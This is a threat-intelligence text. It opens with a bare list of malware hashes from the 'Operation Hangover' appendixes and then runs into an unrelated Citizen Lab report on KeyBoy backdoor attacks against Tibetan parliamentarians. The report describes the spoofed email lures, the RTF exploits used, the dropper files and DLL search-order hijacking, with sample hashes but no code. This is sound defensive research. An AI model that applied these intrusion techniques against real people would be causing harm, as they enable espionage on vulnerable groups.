28959167d0d01d5a2cf0dfacebdbf421 2895a9b0cf22cd45421d634dc0f68db1 28bbe03a89c491e6b236944423c26997 28bcbcdc1860108837542004bfe85c97 2902c48a767753d8e6a998c1c8efc77f 292a85212d0313480109382bb6099ebc 2b2a15a3204fe0130691772871d0c151 2b874fefbfe31f05d2af57e6d03f28bb 2bfe62815a7547bfa026417650fdf13e 2c20f8f92f51e41e31f40ab3fb71594b 2c338e8c3e5f28707739e05f7fb28ef9 2c5454f991fcef2ab42b899209dd4922 2c96c9eabb7a0adf8d361e144a40ffe0 2d7d9cb08da17a312b64819770098a8e 2df4497b3b95c77d6dc1d03deec57cb3 2e0c004523e7e4640805fb1c863a026f 2e5d57905d029acb1bc783637291e740 2f883722b2ff12189a34e520842cdab8 2fb421a64d130621911a9a4e43c4476f 2fdb2e334bc32856898c4c5a9b7038bf 2fea0759ac49e2b9dbf6416b0cab2d9d 300dbb020f1c0d19c5edfe718316a081 30881ad041d8f0c61c4b75641f0d9b17 309648d2fc431beaeeae9c9855e9325e 30a920f8c9b52aa8c68501f502e128eb 30c67399c176f16ad9dcde54e5a80bb3 3105b020e2bd43924404bc4e3940191b 312892649a2be80704f1601451246308 3166c70bf2f70018e4702673520b333b 31aceffa4cfb863b69d7f4b808def84b 31f024443a4e9767292404de20c5fe1f 32c0785edd5c9840f55a8d40e53ed3d9 32d461d46d30c5d7c3f8d29dd0c8a8c4 32dd4debed737bf2692796e6dca7d115 330157068e2530fe214ac41ae7005fc1 331db34e5f49ac1e318dda2d01633b43 337fe884412963289f8ce2fa8849258d 33840ee0b45f31081393f4462fb7a5b6 3475cb096dc082eaa92a7825726c7b8d 34b013d36146ba868e4dfa51529c47a4 34b834d70bfde92f095a9c529b1dcc48 34d534435579279a80a9caebd08bfedf 350ad4db3bcacf3c15117afddf0bd273 3519293de1a4f8f4b19e6b3669a62a22 3666f0ff389747774c6d8f8338cbba7b 36b3f39e7a11636adb29fe36bea875c4 36b8b6239713de260a3f0f1fd504507f 36fe5fed01c8ed3db85f116edec3904b 3705d2b2b5f6a7725837559b14029a98 37207835e128516fe17af3dacc83a00c 3738f1d3c3aaf841609fdeea94571714 37448f390f10eccf5745a6204947203a 376a0ed56366e4d35cecfcdbd70204b0 38198bf8e5d1d8b8d8e7101d4380da0e 3837ab0ffa02dd7fa49d97a15d95c587 3859f9099d24cc332cfca728211ac1f1 395e93a669414952f1c0bc6ecc4d6a9a 398201ed41d2e488abb7b2b17a9d6ff3 399c587050695f902de4cc145fdc1d72 39f28ac7c9a382bbfb28dee5fde7cbb0 3a0f8a86c7a13714c3fdd5e86dfb3df5 3a404a2a3e5fbf4c6bb5afb374730fe4 3a89f05c09425f03fe74b2242b119cce 3ae40259e505b5335b72879db4db3df0 Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 67 Appendixes 3b9d65134b6529cf2d8d3cea22fe2fb7 3befb4b0ef87cd50573116d5780ba174 3c03b8436e9937ba3cfe18443b4c73b9 3c6819d61255f4f8f6f0adc6ddcd06cf 3cceb2261e9f9915687738ccfc9a19e7 3d0b1c6880e8ff3df185879a4ce2e0e6 3d6a8b2df08443c2aa4b6a07a9b55b16 3dc11072110077584b00003536d0f3ba 3dd61c872c02ad519b051b628eadeddb 3dfcaf660bc44ef3858ecb8685ec4f4d 3ed5f354c9bb9257eab81245e6b6416a 3eddb4a2c427ebba246ba2fa22dbdc50 3f13a0b574215659d83ab7ffd05d9102 3f411d306d4fc98fb71aa7383bb14d36 3f4e20175a0492658fb36bf4d5cf98c2 3fc11cd60c9e2bb29efe560e485abab9 3fd48f401edf2e20f1ca11f3dae3e2ef 4008e61496b011e29b6343ad886e8f6d 410c36c79525e257c64e061b4074d7af 413d6930e304cf248568049a3382018a 416b170d4d72b29f39dfc08450e8b406 41f83c83a9ae8d5558d2823cb00b4842 423519ae6c222ab54a2e82104fa45d12 42ca05f0a045eefe63ed213c97541179 43b020e78d7e361deff5aee8572a8e22 43be51e537ca7e78c83e51e3583b4984 4410874ef004bcc8de5e2bde0b786b6e 444cbc26f924a2be1b65140932e8f216 445c9450174a38f0f2d68389c6094e6b 44da2361d5baf33a18352613414b93e4 451b862c56aae581e0834a483eb9c8bd 45abc39bd7dfb34843840a50306fc1ae 46110a31e7c579285ff9c2339c8e9dbf 46416847e3f92d1ef8237fc29167b9a9 46ef141f709b2f6e3445bc2f09dd9c28 4791790c6fafb6253c41eb6bfe614ece 47a8258ec8823f6290af55fcdd39c0b5 47cc120cb27f219be6c915affde93c58 48847d66f9fb659edc7666ec3ca707da 488c3309c802bc8f17e0840335348077 48dc0cca7e2be0b30a764858c637bc10 4921c4c5cdd58ca32c5e957b63cf06cd 49527c54a80e1ba698e0a8a7f7dd0a7d 49e8bb0025b8e149c4cdf658ff6a6535 49f35654bf6d78e22b907866d40b3210 4a06163a8e7b8eeae835ca87c1ab6784 4a0e5f3c3d70dc287202eb0e342ca632 4a44b6b6463fa1a8e0515669b10bd338 4a870caa82cbffe8aac66ed61ffb718f 4abe3fae79903395a65a95c8af3738eb 4ad80ff251e92004f56bb1b531175a49 4b9f8cb4d87672611f11acbe3e204249 4c86c1669a943c1e41af898342ecf831 4d23053ec162eefe6eb41dcc5081c538 4d348c8a88dd1ef4c135bc8a1c117ed0 4da18d7cc1e4f1728764c3666bf2b290 4e8ab2aa18c6607c40f27948d3d85be4 4f3c4550526c8fe126b14a473d62a0f0 4f4c777bae424f334785253f0c90149e 4f634b5a1e8065f72e6e4547d016c1fe 4f82a6f5c80943af7facfcafb7985c8c 4f8e0066d4e73229685b7bea2b5a1bfa 4f9ada2c24a1d98769d51341f853751f 506f6dd4eafc9ec69db17988a380a4f5 50ff8922c4aabdbe3d801b7670a2241b 51188d746cca1a1c8a02401f7bd6a8af 5166dc1c8d12be1767e4749a40236169 519f62c558ebc127d18c3fef60e62349 51b1477e5cf2a14901392082d40bd70c 51ee31f234db61b488647915f8d7d4c8 521a56302eaaca9d2f1bbbe560011a1c 5433804b7fc4d71c47aa2b3da64db77d 54435e2d3369b4395a336389cf49a8be 5494d74fa04f15f63e9352e85a3d46ff 549fed3d2dd640155697def39f7ab819 555d401e2d41ed00bc9436e3f458b52e 55a107fb2646248dd7c1878ef93089a9 55aebca342d894a713c8417523081861 561f4c6e84f4921a84c75fd849172e15 56b51ffd47adc968ae498888bf502c63 56dbe80fe392d0f7e06875f9b9f0be8b 573b4ca365cd69d46d0951e5d48e6d32 57a4385cec4951bfbefc0391d43e6f8f 59520255caf6d7d8065b433ad1a62e0a 599863bb94e75b13be500710a704a567 59b15a8c29e329743fc4658ca565a173 59b1a7184141c9d3e4353274d7f00062 5a4faa7eeebffaaf9f1ebf3e3bd8e502 5a587618aebd8a8afa59de4d1e8ea933 5af184c69546383d1d6425a5a4502c2a 5b5fb0e64d9252e88d723e07ec85778a 5b95e0949fe2a7bb62e1cefae40e7de5 5bc2744a40a333dc089ac04b6d71154e 5bda43ed20ea6a061e7332e2646ddc40 5be0033c7838602fd014ffc90fc5af3d 5c11051760bb8e441e5a3cf1bc5a123c 5cdef8e8edc75dc5acf7bc532dd21fbc 5d735b1292845266b7414e81e1e0274a 5e11c3d9828dd3780eb4f787cf1ce67c 5f3ad37aaad2e6987f04129b50e39538 5f605246151109044c4b6a155f61a287 60064b5f8865e28c148231717d015155 602f66b23b55dd2a22cd84e34c5b8476 6084ed4d969b04cde21c55cc87904386 Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 68 Appendixes 616eff3e9a7575ae73821b4668d2801c 61abb92f0fa605c62dab334c225ef770 620f234fda7eb6a1247c2da6a8e5da83 625b40cb0e5e69726e987c57663e3c7c 62b702a15a762692eda296b0aea270f9 63238f5cecb7af9ceb92191f865f8fd8 634e4c640c4d7845a88faa5e0838ec0e 6367c72ef246798c2e8153dd9828e1fa 638cbbd3284e9c1f048b5d02a83f2dcc 644008189aefa56362b16aeb973382ef 645801262aeb0e33d6ca1af5dd323e25 64787490bc1dd6ece556722133a0bdb9 649eb3db4159411ee6ec0d849274a825 64d6b372a14f64ac74db32929de8c84c 64f19c5776baaea96e1bfb0a0671afbd 6521ae44e485f811e9ce25913675161c 65bfb874a47b3e4920e33ee380060e8f 65bfeb977c3d9b1cc43a0e40f16a67cd 65c5d9c7f63266db08f6790c8bd675da 66203f184e4fdb004c0d24ede011ce6e 6687858f4140f6d6fa400ad6a9df8309 674dd075718ac664940eefba9ff3dd1d 67c064cc6fbd91b95ba529fecf71b5fa 681757936109f7c6e65197fdbb6a8655 68266b089c951d548899f1a716b7e149 68629a1a5c8c71714b663b744d223f4d 68b201a6b5f4cc4dfb83d820599dd447 68df0f3601a77a4e4d3a3dc58d8591ab 69278cb9e663c73573d220455cd5f8cf 6b666b91284d1da0b35b5584798de7cd 6ba65e2bcd8cfe224454371c1c592891 6bc80227468c9eb692d2438774a292c0 6bd5fa275f86fe88435be26fe7db0d23 6c74ebc20f08a48340a2f777bb12839a 6ca0e753c48da6414cbc83799282905a 6ca4104cf782a200e7c0a6bee14073e9 6d2d4f2aef3da83071d6e7f3a338fc87 6d692826793356a4083f3fc1b9d1cf16 6d7a3c843e92abd9f22f707202c63949 6d84c91e0f46e76c4bb4245d5b1a5118 6de00ae0bd81fead3fdf5c791595c8bd 6e16afddda66c94efc5e252b6d70c8ad 6e3da2f822627b82a7c859be365de4b7 6eb978e8bbe50f8c055209f46615b899 6ec2eeab1d4e9b93b2a94f4c05eeb8ca 6f2b8a0018038039d681c057411a124f 6f49ed067073a6db9e0cdcf1eb85d2ab 6fa31fc95898b34cc13041b72a215be3 6fc6214a9cc6bb1ed442beda98fe47e6 702d947f1110e6583dfdc2c1fd0f0a49 7108bf3948226cbe0667607c17df8c12 710d77de27034d6847c5fc2a790b2f5f 716b1c26faa3f674023aae670d3980f2 716f1eb978f6913ab62d78ed60861c74 71962a63a27e91626c5f22643da17027 7244aaa1497d16e101ad1b6dee05dfe3 7261d3d4d2cbd08f620ebaff827c91ef 72b78414ebee4cf56d129b6c8f45bf06 7302c6cb4c6ed4bb560d2019087434c9 734e552fe9ffd1ffdea3434c62dd2e4b 736ab06b46a01781a7af4f4a44ea57da 74125d375b236059dc144567c9481f2a 7417af55a9f3c61dbfef82f06a89e9d9 749c7b656eb765ed2c3e118a809c1a83 74e571f9accf9fe1b4ea6ee0e02a5180 74faad620de94a14d1cd43285ad15d15 7520c26b7ab872d44f1f0f1ca9aaab21 7550db173b1beeb7e6c545b97f2cce02 75d981ff0b6be08fb9b32a3c1cda9ddb 761acc13816a6840bb5f52fb43df45b1 7655868c4a3ed2cd978a84971b7aab54 76643813358b9198b6aed437eb7b5210 770fc76673c3c2daadd54c7aa7ba7cc3 77167a0c6ba3eb7461cdf52529feeeca 77205ea54ceda3be358d84db1c0d6b2b 7792ecfccae54102aafc0a8ad2bee762 77ad01d9e96a5a4797485aaeb37e2545 77bed210299f6d834c35e676ef557b95 77e88fa11cb0cf44c4691c04742d1b13 78b754304b0998ba58c54a4d0cb7c81d 78b8006cc9fc6ca45f8e7c8300e39dee 7926abf8d804792985898080542a42a7 794f8d94e4dc849b6276e024e1d18be7 79861cc8fa3860c3e91cdb591d8bad44 799b33f9a5fae1d29cfd66378c6dc790 79f3b5230012e5dde7657292f7e7d5bd 7a0f03c202c719994cbf0b62c1859e5c 7a10c2c0581d01f3d4f8101bbf6468b1 7a54a65cae902669cdeca4ec4b262d4c 7aeda30a2824ab86717cd3f6f09f5adc 7b75646902fdb9e212d59539c1f4875a 7b9cc2aa6e2dd13eec37f1fcb4a74ea6 7c37c6d89ed05fb264d8fe0acd795fd2 7d42db873cae7b2ee156766e9838808c 7de3b3fbe1ae69dcad2e45bf79bdac93 7e74334c1495a3f6e195ce590c7d42e5 7e9632a2aff99725674ef400f45f7c22 7edab76693800fd1617ba23c7a6aad88 7f11ec3504cb4564ffadfae4807a1dcc 7f48ebd87fda0840dc749a3064361b9c 7f6247ba5eb67e78b3c8fe92f50573a5 7f7b2ade0eb1496e3cff2fa7de5dc591 7fd31bf24537a50a0057dbd4781d2651 7fe7e4cd95507c6633b5427d077d84c9 Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 69 Appendixes 8017684a46d91f59e7316594c877911d 80fbeba3da682570c4db0482cd61b27d 8172e9dcb3b0673cd673780f1024d07f 817efec9c2217afe5dec94fcd127d5e1 81c33d5c2d1d71d2639283be169ad235 81e8be75a7f2f368aa8e7caf001d72bd 81f84b1bdf6337a6e9c67be2f51c50e0 82837a05f8e000245f06c35e9ddc3040 828ee96b1063ac21a06b9f4d84bf56a2 82ac6a24d33c10630c65168e69d02b69 82bba197bc3f1a1e1f0ae0ba1de16565 82c23a939a34e4b2f9fa693306c494f1 82c2b9226ff7cb27cd12e573116b6041 832b368e612fe35f46ba2281e751a41c 8386891ad94d249454b8c27130d34858 8390e6ee81e0e47fa11320a24238c63c 83e591133ddd23ce56eb5cba8e56fbc0 83ff5bfe47959ec925e3180c3f0d32d6 8459fa25b7d93ef2f687eb0901bc94b0 8487320cec6a5bbc669b5a57cf0e9be6 84a2b843578c883a3fa59597c14cf709 859820011b21e57de55c22dabd227f11 85ce84970182be282436317ebc310c8e 862becc13747aafba8bfd755869251bb 87693d2559e369472fde254c1b410904 88fa9428b49618f8a8cda80fbd10890a 89239987f3675eb034a0fecebcb10ffb 89294c5eadeebfebbd208840344ae450 892cc671440a3abc394ce0d79fc30c6d 892e61053866e22649c0d31d6ae81165 894ec003921f19a1a1525a6e8102d75a 897414bdb9c75edacb16cc55c6defd4a 899a85c0428dcaa82b60ecb80059e26b 89d9851c162b98db2c7a2b4f6a841b2a 8a4f2b2316a7d8d1938431477febf096 8a8b5aa1de0dc301ec2732b63ab34c80 8b1a208216613bf0b931252a98d5e2b8 8b73fc88cc33a12a5de219aa511c7326 8ba4dadc9f8f10b3f181b59b8a254e95 8c64d4066b3da06f9b21e3ad3efb96ba 8d3290b7d1010d05ad6261b670d0b3d3 8d5e18ee1859ebce8c6db62ec936059a 8da3f87aeb1463fb5b513ecbd71e908c 8dad164966fb17c3c1f3e068c73080e0 8dbb459c3910d4ffe40e918164c5ba40 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97bde23ae78ddabc36a0a46a4e5b1fae 98ce593bfaeddbbbe056007525032e0d 990b640a93cffe65f646d6584f82a4d7 9911f5b52f0177e26e3fd0a671bf370e 994c26013a352f808b86e95ab8e3fcce 9a09ae4973a9c754832d0a43fe0bad3e 9a20f6f4cddeabc97ed46aee05ac7a50 9ac6e3de69e75190862a94c94c193d2c 9af86aea0df8e24bca698bbed816e507 9b6305ee30004c72076e10b81c0847fb 9bcb294ecfbebff744e2a50b3f7099e6 9ca4b7fae929a361c383cc9d5bbe2edb 9cb05c69ddfd3d0c66b070fe1fde554a 9cc0d13fe3f0196d63e11f35480a1f01 9d4d45ce7bcf796cdfcf03c554c465fa 9d4e156235a41240fce7b240610109d8 9d724c66844d52397816259abdf58cea 9d959939bbf20bd582fc70f9e7b3a1e8 9de74a6b09858009766e5b9de510a764 9e05d3f072469093542afddb1c2e874e 9e3611e55f892cd58e2759ff482b6b54 9e5540383f78652a17b8efb7f454bc7c 9e60d7b0154949ebca8edd579db43949 9ec2c49fd9d1a1d8bea263b399e047af 9ecdcb9562e11d975479c0c83edf484d 9ece2dfbc4e36d05e6b5e07236122dcc 9edc36bd2b0b7d81fb1a7953309d2b52 9ef0cd655f1095ccfd591badc7e8c5bd 9ef3677054efe5ffc30fbbbfe2f833d9 Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 70 Appendixes 9ef3dac0b10b3a9f30e3833aac9c09c8 9f63120b3b25e1f4b9ea5ad7a6246443 9f8e4b19167b5429eb0740b99dd0846f 9fab73462e197ffe2263476a4e84eb79 a017c6c90011a574bc8aa3bbd5756645 a06fa6ce10b76b2d23d580cc7132fa33 a10797c2e7c33f9cc2774165ef4152aa a1cad6b71ab30577ea8e204fab01ed47 a1f8595d6d191dcbed3d257301869ce9 a229cdd723b1bfda03d371d880fbcaf8 a24c34fd4244f73fc94eaf6e52b7c350 a25568a3048cf6b83d72c5e9aae5ea75 a25a6f5d63ad340cca94d323fac353ed a25d1e14498dd60535c5645ed9f6f488 a2ed2a5dfc3954a815cf165c2f07dfd6 a404522912212c4c245c0ddf387adee6 a487e68a4c7ec11ebff428becc64a06c a4a2019717ce5a7d7daec8f2e1cb29f8 a53aff4075891c17ed9cdbdfcc124a1d a5452bae7a46923c75acac2fc4f00df9 a59b6e79d4b8258ce71328b052de187c a5a740ce2f47eada46b5cae5facfe848 a60808be831f8c2eea0f1ee489db0564 a6b8dac4827362a2abe6f53545067e8b a6cf3fa8109456902649c19686a9dc64 a76a4ae87e36dfeebede0d65e86f3440 a7a223cebe5d89aa2d36864cb096b1b3 a7af2e83f611e9a774381b72ab448320 a7b5fce4390629f1756eb25901dbe105 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e6b45dfbd2c1e734f672e7a32fa6f9eb e6f98c98db0f45e9d40b3466784764da Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 72 Appendixes e74ce9ca4baccf2204ef6fbdf85e9817 e7d9bc670d69ad8a6ad2784255324eec e80ac0ff50e56ac18186e4f9d6b44540 e8197e5bca1db7ffab1f073f6300004a e88485650b92dc1ded4063e294fdfa0d e8b68f541d7a992194b603c91c892cf1 e8dc919eda7fc8f1334fcb17d7ff9e00 e90d693f57ed778f517fd425038589ac e92f739fe39e22002fe3a824084dd95b e97c3bb9aeffc0559914b2d919cbff14 e992dfc3dedcf5e66b661dbc26fe932c e9b311ef3530aa32e09ac335c9988d64 ea1d779a230cc17fed73e200d8350d37 ea988287da2c2f7ebfd707fe99ec7b16 ea9bfc25fc5bdc0b1b96f7b2af64f1ac eae1693c74091a064052ea3d3b349615 ec760838ab731860054cf43b59a7d72f ec98f37134c176b45332d8820aace69e ecac2ce6e52c78718c0d0f7a99829136 ecb6aad44ee6bff763c5d8cacda65dbd ecc8b373e61a01d56f429b2bd9907e09 ecf86588df072d4c574ee092e999e6a6 ecfc531241c71d27de9a8ef50f1ea8a7 ed4a58ba2f75f1b590fbaeaf762e4496 ed50096615da40cc95d3831ecf79187c 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Its Parliamentary: KeyBoy and the targeting of the Tibetan Community citizenlab.org /2016/11/parliament-keyboy/ By: Adam Hulcoop, Matt Brooks, Etienne Maynier, John Scott-Railton, and Masashi Crete-Nishihata Key Findings In this report we track a malware operation targeting members of the Tibetan Parliament over August and October 2016.
The operation uses known and patched exploits to deliver a custom backdoor known as KeyBoy.
We analyze multiple versions of KeyBoy revealing a development cycle focused on avoiding basic antivirus detection.
This operation is another example of a threat actor using just enough technical sophistication to exploit a target.
Introduction The Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information.
They are often targeted simultaneously with other ethnic minorities and religious groups in China.
Examples as early as 2008 document  malware operations against Tibetan non- governmental organizations (NGOs) that also targeted Falun Gong and Uyghur groups.
More recently in 2016, Arbor Networks reported on connected malware operations continuing to target these same groups, which the Communist Party of China perceives as a threat to its power.
These types of operations have multiple components, each with their own associated costs to the operator.
There is the exploit code and malware used to gain access to systems, the infrastructure that provides command and control to the malware operator, and the human elements  developers who create the malware, operators who deploy it, and analysts who extract value from the stolen information.
We anticipate that operators will attempt to balance the amount of information they expect to gather with the operational costs and risks of deploying different strategies and technologies.
For example, in deploying a particular malware implant against a target the operator will balance the likelihood and cost of discovery with the perceived value of extracting information from that target.
If a toolkit is exposed inadvertently, the target may increase defenses and the operator will have to spend more time and resources on development.
Civil society groups, due to their generally limited technical capacity and lack of security expertise and countermeasures, shift the risk/reward ratio in ways favourable to the malware operator.
For example, we have observed frequent reuse of older (patched) exploits in malware operations against the Tibetan community.
Up-to- date operating systems and software would block these threats, but the operators have probably discovered through experience that the their targets have unpatched systems and a general lack of security controls beyond antivirus programs.
The continued use of old exploits is a cost reduction strategy: since they still work, there is little need to use more expensive exploits.
Moreover, many of the malware defenses used by the Tibetan diaspora involve individuals recognizing signs of a malicious email, such as exhortations to open attachments.
This kind of behavioral strategy pushes the operators to change their social engineering tactics, but does not provide pressure to radically change their toolkits.
This 1/25 https://citizenlab.org/2016/11/parliament-keyboy/ https://isc.sans.edu/diary/OverviewofcyberattacksagainstTibetancommunities/4177 https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/04/ASERT-Threat-Intelligence-Report-2016-03-The-Four-Element-Sword-Engagement.pdf https://citizenlab.org/2016/03/shifting-tactics/ https://citizenlab.org/wp-content/uploads/2016/11/figure1.png https://citizenlab.org/wp-content/uploads/2016/11/figure_2_parliament.jpeg https://citizenlab.org/wp-content/uploads/2016/11/figure_3_parliament.png https://citizenlab.org/wp-content/uploads/2016/11/figure-4_parliament.png https://citizenlab.org/wp-content/uploads/2016/11/figure_5_parliament.png https://citizenlab.org/wp-content/uploads/2016/11/figure_6_parliament.png https://citizenlab.org/wp-content/uploads/2016/11/figure_7_parliament.png https://citizenlab.org/wp-content/uploads/2016/11/figure_9_parliament.png https://citizenlab.org/wp-content/uploads/2016/11/figure_10_parliament.png https://citizenlab.org/wp-content/uploads/2016/11/figure_11_parliament.png https://citizenlab.org/wp-content/uploads/2016/11/figure_12_parliament.png situation is different from a technical-indicator based institutional security environment.
In practice, minimal code changes sufficient to bypass signature-based security controls such as antivirus may be all that are necessary.
This report analyzes an operation targeting members of the Tibetan Parliament.
The actors used a new version of KeyBoy, a custom backdoor first disclosed by researchers at Rapid7 in June 2013.
Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and configuration data.
We observed operations in August and October 2016, shortly after an order in June to demolish the Larung Gar Buddhist Academy and days before organized protests on October 19 around the same issue.
These operations involved highly targeted email lures with repurposed content and attachments that contained an updated version of KeyBoy.
We assess that KeyBoy is the product of a development cycle that is iterated only as much as necessary to ensure the survival of the implant against antivirus detection and basic security controls.
This report is divided into two parts: Part 1: The Parliamentarian Operation Analyzes an operation targeting the members of the Tibetan Parliament by repurposing legitimate content, and documents implanted with Keyboy.
Part 2: KeyBoy  Tracking Evolution Examines the KeyBoy development cycle revealing a focus on avoiding basic antivirus detection.
To assist other researchers, we include appendices and indicators of compromise that detail the KeyBoy samples we analyzed and provide an in-depth analysis of some features of the most recent implant.
Part 1: The Parliamentarian Operation In August and October 2016 we observed a malware operation targeting members of the Tibetan Parliament (the highest legislative organ of the Tibetan government in exile, formally known as Central Tibetan Administration).
We collected two emails sent to Parliamentarians that rapidly repurposed legitimate content in an attempt to entice recipients to open malicious documents.
The first attempt leveraged an old vulnerability in the parsing of Rich-text- format (.rtf) files (CVE-2012-0158).
The second attempt used a newer, but also patched, .rtf vulnerability (CVE-2015-1641).
Both attempts used versions of KeyBoy and shared the same command and control infrastructure as well as other configuration details.
Attempt 1 On August 25, 2016, members of the Tibetan Parliament received an email with information on an upcoming conference relevant to the Tibetan community.
This email had the same subject and attachment as a legitimate message sent to the same recipients just 15 hours prior, but in this case the attachment was crafted to exploit a frequently targeted vulnerability in Microsoft Office.
The accompanying malware was a backdoor implant designed to surveil the computers of the Parliamentarians.
This malicious attachment used the original, legitimate filename as a decoy (see: Figure 1).
This level of targeting and re-use of a legitimate document sent only hours before shows that the actors behind the operation are closely watching the Tibetan community, and may have already compromised the communications of one or more of the Parliamentarians.
Document name: theme of the conference.doc MD5: 8307e444cad98b1b59568ad2eba5f201 2/25 https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india https://en.wikipedia.org/wiki/Larung_Gar_Buddhist_Academy https://www.facebook.com/events/190950044675347/ http://tibetanparliament.org/ http://tibet.net/ http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2012-0158 https://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1641 Figure 1: Email lure containing malicious document.
Note the use of letters r n in an attempt to appear as m in the sender address.
Figure 2: Process chain after exploit is successful Opening the attachment (an apparently blank document) in Microsoft Word would result in the infection of the target system with the KeyBoy implant.
The Infection Chain The email attachment is a .rtf document containing a dropper, delivered using an exploit designed to leverage CVE-2012-0158, a vulnerability in the way that Microsoft Word handles .rtf files.
Over the past four years, this vulnerability has been consistently used in malware campaigns against the Tibetan community despite having been patched since April 2012.
If the exploit is successful, the following infection chain (see: Figure 2) is observed on the system.
The files in this infection chain are outlined below.
The exploit launches an executable dropper component which is responsible for placing the malware payload and its configuration file on disk, and finally for launching the main malware code.
Note that the dropper and the final (DLL) payload were compiled within seconds of each other.
Name: dw20.exe Size: 256512 bytes 3/25 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 https://targetedthreats.net/ Compile Time: 09 May 2016 08:41:26 UTC MD5: 0b4d45db323f68b465ae052d3a872068 SHA256: 5f24a5ee9ecfd4a8e5f967ffcf24580a83942cd7b09d310b9525962ed2614a49 Purpose: dropper binary, used to install and execute the main implant Name: wab32res.exe Size: 46080 bytes Compile Time: 13 April 2008 18:30:52 UTC MD5: 8f08609e4e0b3d26814b3073a42df415 SHA256: 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d Purpose: legitimate Microsoft Windows Address Book executable, used to load final payload Name: wab32res.dll Size: 138240 bytes Compile Time: 09 May 2016 08:41:05 UTC MD5: 495adb1b9777002ecfe22aaf52fcee93 SHA256: 9a55577d357922711ab0821bf5379289293c8517ae1d94d48c389f306af57a04 Purpose: malware payload, launched by wab32res.exe via DLL search order hijacking Next, the dropper places a renamed copy of the legitimate Windows Address Book executable, along with the malware binary, wab32res.dll, in the Local Application Data directory.
Notably, the dropper modifies the timestamps of the configuration file and the payload to match those of the \Microsoft\SystemCertificates\My\ directory within the users Local Application Data directory.
Once these files are written to disk, the dropper starts the Windows Address Book executable which loads and executes the malicious wab32res.dll file via DLL search-order hijacking.
Attempt 2 On October 11, 2016, the Tibetan Parliamentarians received an email with content repurposed from a Tibetan activism campaign protesting the demolition of a Buddhist monastery in Tibet.
The email was sent from the same email address as the previous attempt (tibetanparliarnent[]yahoo.com) and appears to copy content from the Facebook page of a Tibetan NGO promoting the campaign.
The message urges recipients to open an attached .rtf file with further details on the campaign (see: Figure 3).
Document name: urgent action larung gar buddhist academy.rtf MD5: 913b82ff8f090670fc6387e3a7bea12d Opening the attachment (an apparently blank document) in Microsoft Word would, similar to the first attempt, result in the infection of the target system with the KeyBoy implant.
The Infection Chain The .rtf document attached to the malicious email was designed to exploit a more recent vulnerability: CVE-2015- 1641.
If successful, this exploit launches a newer version of the same malware used in the August attempt outlined above, using a similar infection chain.
Name: n/a 4/25 https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html https://www.facebook.com/events/190950044675347/ https://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1641 Figure 3: Email lure used in second attempt Size: 262144 bytes Compile Time: 29 September 2016 00:46:11 UTC MD5: 23d284245e53ae4fe05c517d807ffccf SHA256: 542c85fda8df8510c1b66a122e459aac8c0919f1fe9fa2c43fd87899cffa05bf Purpose:dropper binary, used to install and execute the main implant Name: wab32res.exe Size: 46080 bytes Compile Time: 13 April 2008 18:30:52 UTC MD5: 8f08609e4e0b3d26814b3073a42df415 SHA256: 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d Purpose:legitimate Microsoft Windows Address Book executable, used to load final payload Name: wab32res.dll Size: 143872 bytes Compile Time: 29 September 2016 00:21:34 UTC MD5: 087bffa8a570079948310dc9731c5709 SHA256: 5da2f14c382d7cac8dfa6c86e528a646a81f0b40cfee9611c8cfb4b5d589aa88 Purpose:malware payload, launched by wab32res.exe via DLL search order hijacking As with the first attempt, the resulting dropper installs the malware payload into the Local Application Data directory as wab32res.dll and subsequently launches it using the same method of DLL search-order hijacking against the legitimate Windows Address Book executable.
A Note on Vulnerabilities 5/25 Figure 4: Format strings illustrating some of the system information obtained by KeyBoy from an infected machine The two .rtf vulnerabilities targeted in these exploitation attempts, CVE-2012-0158 and CVE-2015-1641, are among a set of four .rtf vulnerabilities discussed in recent reporting from researchers at Arbor Networks.
The researchers describe the presumed existence of an exploit document builder designed to selectively weaponize .rtf files using four older, patched, vulnerabilities: CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, and CVE-2015-1770.
The Arbor report describes the ongoing use of these four vulnerabilities in a series of espionage campaigns against not only Tibetan groups, but also others related to Hong Kong, Taiwan, and Uyghur interests.
While we have not connected the campaign targeting the Tibetan Parliamentarians to the campaigns described by Arbor, the continual pairing of these older .rtf vulnerabilities with malware operations against the Tibetan community is noteworthy.
The Malware The malware samples deployed in both of these operations are updated versions of the KeyBoy backdoor first discussed in 2013 by Rapid7.
KeyBoy provides basic backdoor functionality, allowing the operators to select from various capabilities used to surveil and steal information from the victim machine.
KeyBoy functionality: Gather system information, including details of the operating system, processor, disk, memory, display, and uptime (see: Figure 4) Upload files to the victim computer Download files from the victim computer Browse the file system, including gathering details about attached drives Execute commands and applications Launch interactive shell These updated versions of KeyBoy make use of an encoded configuration file to store their command and control (C2) information along with other required settings.
In both cases, the dropper wrote this configuration file in the users Local Application Data directory as win32res.dat.
